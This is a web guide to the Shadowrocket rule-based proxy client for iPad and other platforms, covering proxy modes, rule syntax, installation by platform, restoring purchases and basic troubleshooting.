Official Guide · iPad

Shadowrocket
for iPad Guide

Rule-based proxy client for all platforms. Configure rule-based routing with your existing subscription. iPhone / iPad: $2.99 one-time purchase in the App Store; Mac, Windows, Android, and Linux versions are free.

Current version Loading · iPhone / iPad: $2.99 once in the App Store; Mac, Windows, Android, and Linux: free

First use: from import to connection →

Global Routing Trojan WireGuard
iPhone / iPad: $2.99 once · Other platforms: free

Start

Import an existing subscription, then test the connection

Subscribe

Updates, groups, and backups

Rule

Understand rule matching order

Diagnostics

Check settings and network based on symptoms

Operation / Reference

Shadowrocket Proxy Modes and Rule-Based Routing

First distinguish servers, subscriptions, and configurations: servers provide connection parameters, subscriptions maintain server entries in batches, and Config determines how requests match rules. These are separate components, not the same switch. The sections below explain the settings in the order they are used. Rule snippets show syntax only; they cannot replace your own server details and should not be used to overwrite an existing configuration.

Three modes: Config / Proxy / Direct

Choose how to handle connections in Home under Global Routing. Config mode follows the rules in the active configuration; Proxy mode helps check whether the selected server can handle a request; Direct mode provides a comparison with the local network. For regular rule-based routing, first confirm which file is enabled in Config, then return to Home and select Config. Switching modes does not change servers or fill in missing authentication fields. During troubleshooting, change one variable at a time. Restore the original mode after testing so a temporary test state is not mistaken for your everyday configuration.

DOMAIN-SUFFIX,example.com,PROXY
GEOIP,CN,DIRECT
FINAL,PROXY

This is an example of rule syntax used by Config. Proxy and Direct modes do not route traffic according to this sequence.

Get / By Device

Get and Install Shadowrocket on All Platforms

iPhone / iPad: $2.99 one-time purchase in the App Store; Mac (Apple Silicon and Intel), Windows, Android, and Linux versions are free. Check your operating system and processor first, then open the relevant download instructions. Installers on this site are provided at /dl/shadowrocket/. Device links on the home page lead to the download page, where you can also review format options, first-launch steps, and update instructions.

iPhone / iPad

App Store: $2.99 one-time purchase; other platforms are free. Check the App Store listing for system requirements. Before purchasing, confirm the account's store region, developer, and app ID. If you already purchased it with the same Apple ID, check your purchased items on another compatible iPhone or iPad.

Landscape iPad has a different amount of available screen space from iPhone, but the order for importing parameters, enabling a configuration, and choosing Global Routing remains the same. Do not add the same subscription again just because the layout differs. After installation, prepare your own subscription or server details before continuing with connection setup.

See how to get Shadowrocket for iPhone / iPad →

Mac

Free · Apple Silicon / Intel. Check the chip in About This Mac, then choose the corresponding dmg. Both chip options are listed on the download page; device appearance or purchase year alone is not enough to identify the right one.

If the first launch shows “Cannot verify developer,” confirm that the file came from this site, then go to “System Settings → Privacy & Security” and look for “Open Anyway.” If it says the app is damaged, read the full steps on the download page first. Do not remove restrictions from files of unknown origin. Back up existing configurations separately before updating or reinstalling.

Choose a Mac chip version →

Windows

Free · 64-bit installer. Confirm your system environment in System Information, then get the exe from this site's download page. Save any work in progress before installing, and keep personal configurations and existing server details before updating.

If SmartScreen blocks the first launch, check the download source and file name. Once you confirm it is the installer you just got from this site, select “More info → Run anyway.” Follow administrator policies on organization-managed computers; do not bypass them. After installation, verify the connection step by step instead of changing several network settings at once.

See Windows installation instructions →

Android

Free · arm64 installer. Check your device architecture and available storage, then get the apk from this site's download page. If the in-app browser cannot download it, open the same page in your device's browser.

If the system asks for installation permission, check “Allow installation of unknown apps” in the settings for the relevant browser or file manager. Grant permission only to the source app you are using, as needed. You can revoke it after installation. If the system asks for network connection permission, confirm that the request comes from the Shadowrocket you are using before proceeding.

See Android download and permission instructions →

Linux

Free · deb / rpm / AppImage. Choose a format based on your distribution's package system, and check your processor architecture. Use the relevant package manager to handle dependencies for deb and rpm; AppImage needs execute permission before you run it from its location.

Do not use installation commands for one distribution unchanged on another. The download page lists format compatibility and permission instructions. For help choosing a format, read the Linux installation article. Updating the client and updating a subscription are separate tasks; replacing the app file will not automatically fix expired connection parameters.

Choose a Linux installation format →

Identity / Purchase / Restore

Verify the App, Restore Purchases, and Understand Usage

Developer: Shadow Launch Technology Limited App ID: 932747118 2 ways to get it

Check the App Store listing and purchasing account

Shadowrocket is a closed-source commercial application. When checking the App Store listing for iPhone / iPad, do not rely only on search results with similar names. Open the product page and confirm the developer, Shadow Launch Technology Limited, the official icon, and app ID 932747118. You can verify the app ID from the numbers in the product page URL. A different ID means it is not the listing described here. The download guide lists verification steps to check before purchasing.

App Store search results and availability depend on the store region associated with your Apple ID. The app is not available in the mainland China store. If you cannot find it, first check which purchasing account is signed in, its region, and the availability shown by the store instead of repeatedly changing search terms. If you need to change your account region, use the official process in account settings and check restrictions involving your balance, existing subscriptions, and payment methods first. Device language, time zone, and account store region are separate settings; changing the interface language does not change what you can purchase.

What the two ways to get it cover

iPhone / iPad: $2.99 one-time purchase in the App Store; Mac, Windows, Android, and Linux versions are free. The dollar price refers to the US storefront; other storefronts display local currency and their current prices. iPhone and iPad share purchases under the same Apple ID, so you do not need to purchase a separate copy for each device. Check the App Store listing for system requirements and compatibility on the target device rather than relying on system version numbers in an old guide.

The free versions for other platforms are also Shadowrocket. Mac downloads differ for Apple Silicon and Intel, while Linux has several installation formats; free does not mean the installers are interchangeable. Get desktop and Android installers from this site's download page, and return to the corresponding listing there for updates. If the system blocks the first launch, verify the source before following the instructions for that system. Do not broadly relax app security settings just to complete installation.

Before replacing a device or reinstalling, check purchases

If you replace an iPhone / iPad or reinstall after deleting the app, use the Apple ID originally used for the purchase to check App Store purchases. If the page shows a price again, first check the current store account and purchase history to avoid paying twice without verifying. The account used for iCloud may differ from the one used for App Store purchases, so checking only the account shown at the top of the device is not enough. Restoring purchase eligibility restores access to the app; it does not automatically restore all connection settings.

App files, subscription links, and configuration files are separate. After reinstalling, you may still need to import your existing subscription again, restore a configuration, or confirm system network permission. Before replacing a device, check the available export and sync methods in the app, save the files you need, and confirm that the backup can be opened. If you use iCloud sync, verify that everything is present on the target device before deleting the only copy from the old one. Mac, Windows, Android, and Linux users can get the installer for their platform again and keep their existing configurations separately.

Manage the client and connection services separately

A one-time client purchase is not a connection service plan. The app reads parameters, establishes connections, applies rules, and provides diagnostics. Whether a connection succeeds also depends on the availability of your existing server, authentication fields, network environment, and protocol requirements. This site does not provide, sell, or recommend nodes or subscriptions. The import instructions in this guide assume that you already have your own subscription or server details. Example domains explain fields and rule syntax; they are not working servers.

If the expected entries do not appear after importing, first check that the pasted content is complete, the type is correct, and the link is still valid. If entries are present but connections fail, check the fields required by the selected protocol, such as Host, Port, Password, and TLS. Do not treat a failed subscription update as a client purchase issue, or reinstall the app as a universal fix for connection errors. Identify whether the problem occurred while getting the app, importing details, or establishing a connection, then consult the relevant section.

Order for changing rules and applying updates

Keep a verified working configuration as a baseline. To add a rule, copy the file first, add one rule that explains its purpose, check the matching order, and revisit the target. If you change DNS, Global Routing, servers, and Rule all at once, it is difficult to identify the cause even if the result improves. After testing a connection, note the mode and configuration name used so you can reproduce the setup on another device. Keep PROXY, DIRECT, and REJECT unchanged in rules; do not replace them with translated words.

App Store manages updates for iPhone / iPad. For Mac, Windows, Android, and Linux, get app updates using the corresponding installers on this site. Subscribe updates the server collection; Config updates configuration content. These have different scopes. Back up before updating, then check the selected server and configuration and test actual access. If the problem began after a specific change, revert that change first instead of importing several files in succession and making the state harder to track.

Selected FAQs

Why can't I access anything after importing a subscription?

A successful import only means the client read the content. Check the selected server, protocol fields, Global Routing, and system connection permission, then run Connectivity Test. If only some domains fail, check configuration rules and name resolution; if all fail, compare the local network and server status. See troubleshooting steps by layer →

How does scanning a QR code differ from filling in Add Server?

Both methods add your existing server details to the client. Scan QR Code reads encoded content, while Add Server lets you enter fields such as Type, Host, and Port individually. Either way, check the protocol and authentication parameters before saving. If the QR code is incomplete, you may need to fill in additional fields. See the steps for adding a server →

Do Config and Subscribe need to be updated at the same time?

No. Subscribe mainly maintains the server collection, while Config manages rules and related settings. Identify whether you need to fix server details or request routing, then update the relevant content and check what is enabled. See subscription management instructions →

Does the traffic shown in Data equal the provider's billing total?

Data shows traffic recorded by the client. Providers may use different billing periods and measurement rules, so the figures are not directly equivalent. Use it to check whether requests generated traffic, but check your account usage against the records from your own service. Read more about traffic statistics →

Notes / Installation / iPad

Installation and Device Guides

After the basic setup, choose a guide for your device. These three articles cover purchase sharing and landscape use, first launch on desktop, and choosing a Linux installation format. They distinguish installation issues from subscription issues. Before changing system permissions, confirm the file source and the actual prompt, then follow the relevant steps.